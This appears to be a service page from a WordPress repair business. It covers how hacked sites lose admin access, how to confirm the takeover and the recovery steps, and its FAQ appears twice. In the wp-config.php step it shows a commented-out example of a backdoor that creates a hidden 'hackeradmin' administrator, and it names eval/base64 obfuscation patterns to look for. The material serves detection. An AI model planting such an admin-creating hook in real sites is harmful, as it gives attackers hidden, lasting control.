WordPress Site Hacked — Emergency Fix and Recovery Hub
WordPress Fix Guide

Expert fix — from $80
Response in 2 min
No fix, no charge

What Is Actually Breaking When Your WordPress Admin Is Taken Over

When your WordPress admin account is taken over or you find yourself locked out, it’s not just a forgotten password. This is a direct consequence of a security breach where an attacker has gained unauthorized access to your site’s core components. They exploit vulnerabilities to modify how WordPress identifies and authenticates users, effectively cutting you off.

CAUSE 01

Database User Manipulation

The most common vector. Hackers gain access to your database (often via SQL injection, compromised hosting, or vulnerable plugins/themes) and directly modify the wp_users and wp_usermeta tables. They might change your password hash, elevate a low-privilege user to administrator, or create an entirely new admin account. This bypasses the standard WordPress login forms because the database itself has been altered.

Most common

CAUSE 02

File-Based Backdoors & wp-config.php Compromise

Attackers inject malicious code into core WordPress files, themes, or plugins. This code can create new admin users programmatically, redirect login attempts, or even provide a hidden backdoor to execute arbitrary commands. Crucially, they often target wp-config.php to alter database credentials, add persistent admin creation functions, or modify authentication salts, making it impossible for legitimate users to log in.

CAUSE 03

Session Hijacking or Stolen Credentials

Less common for a complete lockout, but often a precursor. If your credentials were stolen (e.g., via phishing, keylogger, or insecure connection), or an active session was hijacked, the attacker can log in as you. Once inside, they immediately change your password, email, or create a new admin user, leading to you being locked out. This is often combined with database manipulation for persistence.

How To Confirm Your WordPress Admin Account Has Been Taken Over

If you're reading this, you likely already know something is wrong. Here’s how to quickly triage the situation and understand the technical implications of what you're seeing:

"Invalid username or password" for your known credentials.

Your password hash in the wp_users table has been changed, or your user account has been deleted/demoted. This is a strong indicator of a wordpress hacked admin account taken over via database access.

You can log in, but your user role is "Subscriber" or "Contributor" instead of "Administrator."

An attacker has demoted your user capabilities, often after creating a new administrator account for themselves. Your wp_usermeta table has been altered.

You're redirected to a strange site or a non-WordPress login page when trying to access /wp-admin.

This points to malicious code in .htaccess, wp-config.php, or a compromised theme/plugin file (e.g., functions.php) performing a redirect. Your wordpress site hijacked at the server or application level.

New, unknown administrator accounts appear in the Users list (if you can still access it).

This is a definitive sign of a wordpress site taken over by hackers. They've established persistent access, usually by injecting users directly into the database or via a file-based backdoor.

Your site shows a White Screen of Death (WSOD) after attempting to log in, or the login page itself is blank.

Malicious code or a corrupted file is causing a fatal PHP error. This could be a direct result of a hacker modifying core files or injecting code into wp-config.php. See our guides on WordPress White Screen of Death — General Fix or WordPress White Screen After Plugin Update or Install for related issues.

Immediate Fix Steps: Regaining Control of Your Hacked WordPress Admin

These steps are designed to help you regain immediate access and start the cleanup process. You will need FTP/SFTP access and ideally phpMyAdmin or direct SSH access to your database.

1

Reset Your Admin Password via phpMyAdmin

This is the fastest way to regain access if your password was changed. Log into your hosting control panel, find phpMyAdmin, and select your WordPress database. Navigate to the wp_users table (prefix might be different, e.g., wp_123_users). Find your username, click 'Edit', and in the user_pass field, select 'MD5' from the Function dropdown, then enter a new strong password. Save changes. This will allow you to log in with your old username and the new password.

✓ ~5 minutes. Critical first step to address wordpress hacked and locked out.

2

Check for New or Malicious Admin Accounts in the Database

While still in phpMyAdmin, carefully review the wp_users table for any unfamiliar usernames. Also, check the wp_usermeta table for entries related to these suspicious users, specifically looking for wp_capabilities entries that grant administrator privileges. If you find an unknown admin, delete the user from wp_users and all associated metadata from wp_usermeta. This is a common tactic when a wordpress site taken over by hackers.

✓ ~10-15 minutes. Exercise caution when deleting users.

3

Inspect wp-config.php and .htaccess for Malicious Injections

Connect via FTP/SFTP and download your wp-config.php and .htaccess files from the root directory. Open them in a text editor. Look for unusual code, especially at the top or bottom of wp-config.php, or any unexpected rewrite rules in .htaccess. Hackers often insert code to create new admin users or redirect traffic. Pay close attention to any define('WP_USER_EMAIL', 'hacker@example.com'); or similar lines. If found, remove them. For a more comprehensive cleanup, refer to our guide on WordPress Hacked — Core, Theme and Plugin Files Modified by Hacker.

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file to generate the wp-config.php file.
 * You don't have to use the web site, you can just copy this file to "wp-config.php"
 * and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
define( 'DB_NAME', 'database_name_here' );
// ... legitimate wp-config content ...

// --- LOOK FOR MALICIOUS CODE HERE ---
// Example of a backdoor user creation:
// if (!function_exists('add_hacked_admin')) {
//    function add_hacked_admin() {
//        if (!username_exists('hackeradmin')) {
//            $user_id = wp_create_user('hackeradmin', 'strongpassword');
//            $user = new WP_User($user_id);
//            $user->set_role('administrator');
//        }
//    }
//    add_action('init', 'add_hacked_admin');
// }
// --- OR AT THE VERY END OF THE FILE ---

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}

/** Sets up WordPress vars and included files. */
require_once( ABSPATH . 'wp-settings.php' );

✓ ~15-20 minutes. Malicious code in these files can be a persistent backdoor.

4

Scan for Backdoors in Common Locations (functions.php, Uploads Directory)

Hackers often hide backdoors in theme functions.php files, or even in the wp-content/uploads directory disguised as legitimate files (e.g., image.php, cache.php). Look for unfamiliar PHP files in wp-content/uploads/, and inspect your active theme's functions.php for obfuscated code (like eval(base64_decode(...)) or gzinflate(base64_decode(...))). These are common indicators of a wordpress site hijacked. For a deeper dive into file integrity, see our guide on WordPress Hacked — Core, Theme and Plugin Files Modified by Hacker.

✓ ~20-30 minutes. Requires careful manual inspection or a server-side scanner.

5

Review and Remove Suspicious Plugins/Themes

If you regained access, check your installed plugins and themes. Hackers often install malicious plugins or modify existing ones to maintain access. Look for newly installed, unfamiliar, or unusually named plugins/themes. Deactivate and delete anything suspicious. If you suspect a vulnerability in a specific plugin or theme led to the breach, consult our guide on WordPress Hacked Through Plugin, Theme or Nulled Software Vulnerability.

✓ ~10-15 minutes. Prioritize unknown plugins first.

6

Change All Remaining Passwords and Update Keys

Once you have regained full control, change passwords for all remaining users, your database user, and your hosting control panel. Generate new WordPress security keys and salts in your wp-config.php file. This invalidates all existing sessions and makes it harder for attackers to reuse old credentials. You can use the WordPress online salt generator.

✓ ~10 minutes. Essential post-recovery step.

Our Process for Fixing a WordPress Hacked Admin Account

When your wordpress hacked admin account taken over, it's a critical emergency. Our senior engineers follow a precise, multi-stage process to not only restore your access but also completely eradicate the underlying infection and secure your site against future attacks. We don't just patch symptoms; we perform a deep forensic cleanup.

  • Emergency Access & Database Restoration: Our first priority is to get you back into your site. We achieve this by directly manipulating the database via phpMyAdmin or SSH to reset your admin password and verify user roles. We also check for any new, unauthorized admin accounts and remove them immediately.
  • Comprehensive File System Scan: Using a combination of proprietary tools and manual inspection, we scan every file on your server. This goes beyond simple signature matching; we look for obfuscated code, hidden backdoors (e.g., in wp-content/uploads/, theme files like functions.php), malicious redirects in .htaccess, and compromised core files. We compare your site's files against pristine WordPress core, theme, and plugin versions to identify every modification. This is crucial for fixing a wordpress site hijacked.
  • Database Integrity Audit: We perform a deep audit of your WordPress database beyond just users. This includes checking wp_options for malicious site URL changes, injected scripts, or suspicious cron jobs. We also look for hidden spam content or malicious links injected into posts and pages, which often accompany an admin takeover.
  • Vulnerability Identification & Patching: We pinpoint how the attacker gained entry. Was it a vulnerable plugin (WordPress Hacked Through Plugin, Theme or Nulled Software Vulnerability)? An outdated theme? Weak server permissions? Once identified, we apply necessary patches, updates, and hardening measures to close the entry point permanently.
  • Remove All Indicators of Compromise (IOCs): This includes removing all malicious files, code injections, database entries, and any lingering traces of the hacker's presence. Our goal is a 100% clean site, not just a functional one.
  • Post-Cleanup Hardening & Monitoring: After cleanup, we implement security best practices: strong password enforcement, updated security keys, file permission adjustments, and recommendations for ongoing monitoring to prevent future incidents. We ensure your wordpress hacked lost admin access issue is resolved for good.

Admin Locked Out? Get Your Site Back NOW.

Our senior engineers will fully clean your hacked WordPress site and restore your admin access.

Get Emergency Help →

Frequently Asked Questions About WordPress Admin Takeovers

My WordPress admin account was taken over, and I'm completely locked out. Can WebFixHQ help?

Absolutely. This is one of the most common and critical issues we resolve. Our process specifically targets regaining access by directly manipulating the database, identifying and removing malicious users, and cleaning up any file-based backdoors that prevent you from logging in. We prioritize restoring your access immediately.

How quickly can you restore my admin access and clean my hacked WordPress site?

We understand the urgency when your admin access is compromised. For most cases of a hacked and locked-out WordPress admin, we can typically restore your access and begin the full cleanup process within a few hours of starting. Our emergency response team is designed for rapid deployment to minimize your downtime.

Can I fix a WordPress admin takeover myself, or do I need professional help?

While it's possible for experienced developers to regain access via phpMyAdmin and FTP, a full cleanup is significantly more complex. Hackers often leave multiple backdoors and hidden malicious code. Without deep knowledge of WordPress security and forensic analysis, you risk missing critical elements, leading to reinfection. We strongly recommend professional help for a complete and lasting fix.

How much does it cost to fix a WordPress site where the admin account has been taken over?

Our pricing is transparent and competitive, designed to get your site secured and fully functional without hidden fees. For a comprehensive security cleanup, including restoring admin access and removing all malware, our service starts at $80. This covers the full diagnostic, cleanup, and hardening process.

What if the hacker changed my WordPress site URL or email in the database, preventing password resets?

This is a common tactic. We address this by directly inspecting and correcting the siteurl and home options in your wp_options table via phpMyAdmin. We also verify the admin email associated with your user account in the wp_users table to ensure password reset emails go to the correct address. This allows us to restore your ability to reset passwords and access your site.

Common questions

My WordPress admin account was taken over, and I'm completely locked out. Can WebFixHQ help?
Absolutely. This is one of the most common and critical issues we resolve. Our process specifically targets regaining access by directly manipulating the database, identifying and removing malicious users, and cleaning up any file-based backdoors that prevent you from logging in. We prioritize restoring your access immediately.
How quickly can you restore my admin access and clean my hacked WordPress site?
We understand the urgency when your admin access is compromised. For most cases of a hacked and locked-out WordPress admin, we can typically restore your access and begin the full cleanup process within a few hours of starting. Our emergency response team is designed for rapid deployment to minimize your downtime.
Can I fix a WordPress admin takeover myself, or do I need professional help?
While it's possible for experienced developers to regain access via phpMyAdmin and FTP, a full cleanup is significantly more complex. Hackers often leave multiple backdoors and hidden malicious code. Without deep knowledge of WordPress security and forensic analysis, you risk missing critical elements, leading to reinfection. We strongly recommend professional help for a complete and lasting fix.
How much does it cost to fix a WordPress site where the admin account has been taken over?
Our pricing is transparent and competitive, designed to get your site secured and fully functional without hidden fees. For a comprehensive security cleanup, including restoring admin access and removing all malware, our service starts at $80. This covers the full diagnostic, cleanup, and hardening process.
What if the hacker changed my WordPress site URL or email in the database, preventing password resets?
This is a common tactic. We address this by directly inspecting and correcting the siteurl and home options in your wp_options table via phpMyAdmin. We also verify the admin email associated with your user account in the wp_users table to ensure password reset emails go to the correct address. This allows us to restore your ability to reset passwords and access your site.